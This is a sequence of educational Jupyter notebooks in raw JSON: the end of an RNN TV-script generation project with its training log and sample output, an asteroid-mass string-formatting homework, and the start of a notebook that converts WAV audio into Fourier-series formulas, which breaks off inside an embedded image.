ids\n", " :param batch_size: The size of batch\n", " :param seq_length: The length of sequence\n", " :return: Batches as a Numpy array\n", " \"\"\"\n", " words_per_batch = (batch_size*seq_length)\n", " word_batches = len(int_text) // words_per_batch\n", " word_to_use = int_text[:word_batches*words_per_batch]\n", " batches = [np.array([np.zeros((batch_size, seq_length)), np.zeros((batch_size, seq_length))]) for i in range(0, word_batches)]\n", " batches = np.array(batches)\n", " seq = 0\n", " for idx in range(0, len(word_to_use), word_batches*seq_length):\n", " batch_index = 0\n", " for ii in range(idx, idx+(word_batches*seq_length), seq_length):\n", " batches[batch_index][0][seq] = np.add(batches[batch_index][0][seq], np.array(word_to_use[ii: ii+seq_length]))\n", " if ii+seq_length+1 > len(word_to_use):\n", " last = word_to_use[ii + 1: ii + seq_length]\n", " last.extend([word_to_use[0]])\n", " batches[batch_index][1][seq] = np.add(batches[batch_index][1][seq],\n", " np.array(last))\n", " else:\n", " batches[batch_index][1][seq] = np.add(batches[batch_index][1][seq],\n", " np.array(word_to_use[ii+1: ii+seq_length+1]))\n", " batch_index += 1\n", " seq += 1\n", " return batches\n", "\n", "\n", "\"\"\"\n", "DON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n", "\"\"\"\n", "tests.test_get_batches(get_batches)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Neural Network Training\n", "### Hyperparameters\n", "Tune the following parameters:\n", "\n", "- Set `num_epochs` to the number of epochs.\n", "- Set `batch_size` to the batch size.\n", "- Set `rnn_size` to the size of the RNNs.\n", "- Set `embed_dim` to the size of the embedding.\n", "- Set `seq_length` to the length of sequence.\n", "- Set `learning_rate` to the learning rate.\n", "- Set `show_every_n_batches` to the number of batches the neural network should print progress." ] }, { "cell_type": "code", "execution_count": 29, "metadata": { "collapsed": true }, "outputs": [], "source": [ "# Number of Epochs\n", "num_epochs = 200\n", "# Batch Size\n", "batch_size = 256\n", "# RNN Size\n", "rnn_size = 256\n", "# Embedding Dimension Size\n", "embed_dim = 500\n", "# Sequence Length\n", "seq_length = 25\n", "# Learning Rate\n", "learning_rate = 0.01\n", "# Show stats for every n number of batches\n", "show_every_n_batches = 100\n", "\n", "\"\"\"\n", "DON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n", "\"\"\"\n", "save_dir = './save'" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Build the Graph\n", "Build the graph using the neural network you implemented." ] }, { "cell_type": "code", "execution_count": 30, "metadata": { "collapsed": true }, "outputs": [], "source": [ "\"\"\"\n", "DON'T MODIFY ANYTHING IN THIS CELL\n", "\"\"\"\n", "from tensorflow.contrib import seq2seq\n", "\n", "train_graph = tf.Graph()\n", "with train_graph.as_default():\n", " vocab_size = len(int_to_vocab)\n", " input_text, targets, lr = get_inputs()\n", " input_data_shape = tf.shape(input_text)\n", " cell, initial_state = get_init_cell(input_data_shape[0], rnn_size)\n", " logits, final_state = build_nn(cell, rnn_size, input_text, vocab_size, embed_dim)\n", "\n", " # Probabilities for generating words\n", " probs = tf.nn.softmax(logits, name='probs')\n", "\n", " # Loss function\n", " cost = seq2seq.sequence_loss(\n", " logits,\n", " targets,\n", " tf.ones([input_data_shape[0], input_data_shape[1]]))\n", "\n", " # Optimizer\n", " optimizer = tf.train.AdamOptimizer(lr)\n", "\n", " # Gradient Clipping\n", " gradients = optimizer.compute_gradients(cost)\n", " capped_gradients = [(tf.clip_by_value(grad, -1., 1.), var) for grad, var in gradients if grad is not None]\n", " train_op = optimizer.apply_gradients(capped_gradients)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Train\n", "Train the neural network on the preprocessed data. If you have a hard time getting a good loss, check the [forms](https://discussions.udacity.com/) to see if anyone is having the same problem." ] }, { "cell_type": "code", "execution_count": 31, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Epoch 0 Batch 0/10 train_loss = 8.821\n", "Epoch 10 Batch 0/10 train_loss = 2.701\n", "Epoch 20 Batch 0/10 train_loss = 1.539\n", "Epoch 30 Batch 0/10 train_loss = 0.975\n", "Epoch 40 Batch 0/10 train_loss = 0.627\n", "Epoch 50 Batch 0/10 train_loss = 0.433\n", "Epoch 60 Batch 0/10 train_loss = 0.327\n", "Epoch 70 Batch 0/10 train_loss = 0.267\n", "Epoch 80 Batch 0/10 train_loss = 0.157\n", "Epoch 90 Batch 0/10 train_loss = 0.129\n", "Epoch 100 Batch 0/10 train_loss = 0.121\n", "Epoch 110 Batch 0/10 train_loss = 0.117\n", "Epoch 120 Batch 0/10 train_loss = 0.114\n", "Epoch 130 Batch 0/10 train_loss = 0.113\n", "Epoch 140 Batch 0/10 train_loss = 0.111\n", "Epoch 150 Batch 0/10 train_loss = 0.111\n", "Epoch 160 Batch 0/10 train_loss = 0.110\n", "Epoch 170 Batch 0/10 train_loss = 0.109\n", "Epoch 180 Batch 0/10 train_loss = 0.109\n", "Epoch 190 Batch 0/10 train_loss = 0.108\n", "Model Trained and Saved\n" ] } ], "source": [ "\"\"\"\n", "DON'T MODIFY ANYTHING IN THIS CELL\n", "\"\"\"\n", "batches = get_batches(int_text, batch_size, seq_length)\n", "\n", "with tf.Session(graph=train_graph) as sess:\n", " sess.run(tf.global_variables_initializer())\n", "\n", " for epoch_i in range(num_epochs):\n", " state = sess.run(initial_state, {input_text: batches[0][0]})\n", "\n", " for batch_i, (x, y) in enumerate(batches):\n", " feed = {\n", " input_text: x,\n", " targets: y,\n", " initial_state: state,\n", " lr: learning_rate}\n", " train_loss, state, _ = sess.run([cost, final_state, train_op], feed)\n", "\n", " # Show every <show_every_n_batches> batches\n", " if (epoch_i * len(batches) + batch_i) % show_every_n_batches == 0:\n", " print('Epoch {:>3} Batch {:>4}/{} train_loss = {:.3f}'.format(\n", " epoch_i,\n", " batch_i,\n", " len(batches),\n", " train_loss))\n", "\n", " # Save Model\n", " saver = tf.train.Saver()\n", " saver.save(sess, save_dir)\n", " print('Model Trained and Saved')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Save Parameters\n", "Save `seq_length` and `save_dir` for generating a new TV script." ] }, { "cell_type": "code", "execution_count": 32, "metadata": { "collapsed": true }, "outputs": [], "source": [ "\"\"\"\n", "DON'T MODIFY ANYTHING IN THIS CELL\n", "\"\"\"\n", "# Save parameters for checkpoint\n", "helper.save_params((seq_length, save_dir))" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# Checkpoint" ] }, { "cell_type": "code", "execution_count": 33, "metadata": { "collapsed": true }, "outputs": [], "source": [ "\"\"\"\n", "DON'T MODIFY ANYTHING IN THIS CELL\n", "\"\"\"\n", "import tensorflow as tf\n", "import numpy as np\n", "import helper\n", "import problem_unittests as tests\n", "\n", "_, vocab_to_int, int_to_vocab, token_dict = helper.load_preprocess()\n", "seq_length, load_dir = helper.load_params()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Implement Generate Functions\n", "### Get Tensors\n", "Get tensors from `loaded_graph` using the function [`get_tensor_by_name()`](https://www.tensorflow.org/api_docs/python/tf/Graph#get_tensor_by_name). Get the tensors using the following names:\n", "- \"input:0\"\n", "- \"initial_state:0\"\n", "- \"final_state:0\"\n", "- \"probs:0\"\n", "\n", "Return the tensors in the following tuple `(InputTensor, InitialStateTensor, FinalStateTensor, ProbsTensor)` " ] }, { "cell_type": "code", "execution_count": 34, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Tests Passed\n" ] } ], "source": [ "def get_tensors(loaded_graph):\n", " \"\"\"\n", " Get input, initial state, final state, and probabilities tensor from <loaded_graph>\n", " :param loaded_graph: TensorFlow graph loaded from file\n", " :return: Tuple (InputTensor, InitialStateTensor, FinalStateTensor, ProbsTensor)\n", " \"\"\"\n", " input = loaded_graph.get_tensor_by_name(\"input:0\")\n", " initial_state = loaded_graph.get_tensor_by_name(\"initial_state:0\")\n", " final_state = loaded_graph.get_tensor_by_name(\"final_state:0\")\n", " probs = loaded_graph.get_tensor_by_name(\"probs:0\")\n", " return input, initial_state, final_state, probs\n", "\n", "\n", "\"\"\"\n", "DON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n", "\"\"\"\n", "tests.test_get_tensors(get_tensors)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Choose Word\n", "Implement the `pick_word()` function to select the next word using `probabilities`." ] }, { "cell_type": "code", "execution_count": 38, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Tests Passed\n" ] } ], "source": [ "def pick_word(probabilities, int_to_vocab):\n", " \"\"\"\n", " Pick the next word in the generated text\n", " :param probabilities: Probabilites of the next word\n", " :param int_to_vocab: Dictionary of word ids as the keys and words as the values\n", " :return: String of the predicted word\n", " \"\"\"\n", " # TODO: Implement Function\n", " choice = np.random.choice(len(int_to_vocab), 1, p=probabilities)\n", " output = int_to_vocab.get(choice[0])\n", " return output\n", "\n", "\n", "\"\"\"\n", "DON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n", "\"\"\"\n", "tests.test_pick_word(pick_word)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Generate TV Script\n", "This will generate the TV script for you. Set `gen_length` to the length of TV script you want to generate." ] }, { "cell_type": "code", "execution_count": 40, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "moe_szyslak: yeah, that broad is some dame!\n", "ned_flanders:(surprised) you all know edna?\n", "barney_gumble: oh yeah, man!\n", "carl_carlson:(sotto) oh, what? i suppose you've seen a bigger star?\n", "homer_simpson:(tipsy) troy, buddy, i can't wait to get my lips around an ice cold...\n", "chief_wiggum:(motorcycle noises)...\n", "homer_simpson:(chuckles) now i gotta check...(then) eww...(realizing) homie! we still have a chance?\n", "\n", "\n", "carl_carlson: homer, this is bad. one unlucky punch and marge could be bedridden for life.\n", "lenny_leonard:(ominous) all right, wait.\n", "homer_simpson:(computer voice) yes, i did.\n", "homer_simpson: larry flynt is right! you guys stink!\n", "homer_simpson: i'm not your buddy, you greedy old reptile!\n", "c. _montgomery_burns: smithers, who is that? i'm buyin'.\n", "lenny_leonard:(annoyed) hey, what's that for you, moe.\" of course i\n" ] } ], "source": [ "gen_length = 200\n", "# homer_simpson, moe_szyslak, or Barney_Gumble\n", "prime_word = 'moe_szyslak'\n", "\n", "\"\"\"\n", "DON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n", "\"\"\"\n", "loaded_graph = tf.Graph()\n", "with tf.Session(graph=loaded_graph) as sess:\n", " # Load saved model\n", " loader = tf.train.import_meta_graph(load_dir + '.meta')\n", " loader.restore(sess, load_dir)\n", "\n", " # Get Tensors from loaded model\n", " input_text, initial_state, final_state, probs = get_tensors(loaded_graph)\n", "\n", " # Sentences generation setup\n", " gen_sentences = [prime_word + ':']\n", " prev_state = sess.run(initial_state, {input_text: np.array([[1]])})\n", "\n", " # Generate sentences\n", " for n in range(gen_length):\n", " # Dynamic Input\n", " dyn_input = [[vocab_to_int[word] for word in gen_sentences[-seq_length:]]]\n", " dyn_seq_length = len(dyn_input[0])\n", "\n", " # Get Prediction\n", " probabilities, prev_state = sess.run(\n", " [probs, final_state],\n", " {input_text: dyn_input, initial_state: prev_state})\n", " \n", " pred_word = pick_word(probabilities[dyn_seq_length-1], int_to_vocab)\n", "\n", " gen_sentences.append(pred_word)\n", " \n", " # Remove tokens\n", " tv_script = ' '.join(gen_sentences)\n", " for key, token in token_dict.items():\n", " ending = ' ' if key in ['\\n', '(', '\"'] else ''\n", " tv_script = tv_script.replace(' ' + token.lower(), key)\n", " tv_script = tv_script.replace('\\n ', '\\n')\n", " tv_script = tv_script.replace('( ', '(')\n", " \n", " print(tv_script)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# The TV Script is Nonsensical\n", "It's ok if the TV script doesn't make any sense. We trained on less than a megabyte of text. In order to get good results, you'll have to use a smaller vocabulary or get more data. Luckly there's more data! As we mentioned in the begging of this project, this is a subset of [another dataset](https://www.kaggle.com/wcukierski/the-simpsons-by-the-data). We didn't have you train on all the data, because that would take too long. However, you are free to train your neural network on all the data. After you complete the project, of course.\n", "# Submitting This Project\n", "When submitting this project, make sure to run all the cells before saving the notebook. Save the notebook file as \"dlnd_tv_script_generation.ipynb\" and save it as a HTML file under \"File\" -> \"Download as\". Include the \"helper.py\" and \"problem_unittests.py\" files in your submission." ] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.5.3" }, "widgets": { "state": {}, "version": "1.1.2" } }, "nbformat": 4, "nbformat_minor": 1 }

mit

UWashington-Astro300/Astro300-A17

FirstLast_Strings.ipynb

1

2310

{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "# Strings Homework\n", "\n", "* Start with the ReadingData homework from last week\n", "* Format the output to match the examples below.\n", "* The numbers should be expressed to 2 decimals." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## List the names of the 5 most massive MBAs\n", "\n", "\n", "`The 5 largest asteroids are (starting with the largest):\n", "At number N is NAME with a mass of MASS kg\n", ".\n", ".\n", "At number N is NAME with a mass of MASS kg`" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "---\n", "\n", "## List the names of the 5 least massive MBAs\n", "\n", "\n", "`The 5 smallest asteroids are (starting with the smallest):\n", "At number N is NAME with a mass of MASS kg\n", ".\n", ".\n", "At number N is NAME with a mass of MASS kg`" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "---\n", "\n", "## And finally the summary paragraph:\n", "\n", "`The total mass of the main belt of the asteroid belt is MASS kg, of which N% of\n", "the total mass in contained in the five most massive asteroids. In fact, the N largest\n", "asteroids account for 90% of the total mass of the main belt. The Moon is N times more \n", "massive than the total mass of the main belt asteroids.`" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "---\n", "\n", "### Due Tue Oct 19 - 5pm\n", "- `Make sure to change the filename to your name!`\n", "- `Make sure to change the Title to your name!`\n", "- `File -> Download as -> HTML (.html)`\n", "- `upload your .html and .ipynb file to the class Canvas page` " ] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.6.2" } }, "nbformat": 4, "nbformat_minor": 1 }

mit

M42/sum-of-waves

fourier.ipynb

1

36277

{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "# Sound waves as equations\n", "\n", "**Author:** Mario Román \n", "**GitHub:** https://github.com/M42/sum-of-waves\n", "\n", "## Introduction\n", "This notebook contains code to a sound file (specifically, a 16bit PCM WAV file) into a pdf file containing the mathematical formula of the sound wave. For an example of input and output, you can check the files \"`test2.wav`\" and \"`output.pdf`\" in the GitHub [repository](https://github.com/M42/sum-of-waves).\n", "\n", "We use the Fast Fourier Transform algorithm to express the wave as a sum of sinusoidal functions, and the complete sum is translated to a **`LaTeX`** file, which can be used to produce the final `pdf`." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Plotting wave files\n", "\n", "In this first step, we are going to open the sound file and make a simple plot of the signal, using **`matplotlib`**. The sound file:\n", "\n", "* Must be a 16bit PCM WAV file.\n", "* Must be mono; not stereo.\n", "\n", "To convert multiple sound files to this format, you can use sound editing programs, such as Audacity." ] }, { "cell_type": "code", "execution_count": 1, "metadata": { "collapsed": true }, "outputs": [], "source": [ "%matplotlib inline\n", "import matplotlib.pyplot as plt\n", "import numpy as np\n", "import wave\n", "import sys" ] }, { "cell_type": "code", "execution_count": 2, "metadata": { "collapsed": false }, "outputs": [], "source": [ "# Only opens 16bit PCM WAV files.\n", "# The format can be changed in Audacity.\n", "spf = wave.open('test2.wav','r')" ] }, { "cell_type": "code", "execution_count": 3, "metadata": { "collapsed": true }, "outputs": [], "source": [ "# Only opens Mono files\n", "if spf.getnchannels() == 2:\n", " print 'Just mono files'\n", " sys.exit(0)" ] }, { "cell_type": "code", "execution_count": 4, "metadata": { "collapsed": false }, "outputs": [], "source": [ "# Extracts the signal\n", "signal = spf.readframes(-1)\n", "signal = np.fromstring(signal, 'Int16')" ] }, { "cell_type": "code", "execution_count": 5, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/plain": [ "[<matplotlib.lines.Line2D at 0x7f5366af7c10>]" ] }, "execution_count": 5, "metadata": {}, "output_type": "execute_result" }, { "data": { "image/png": [ "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\n", 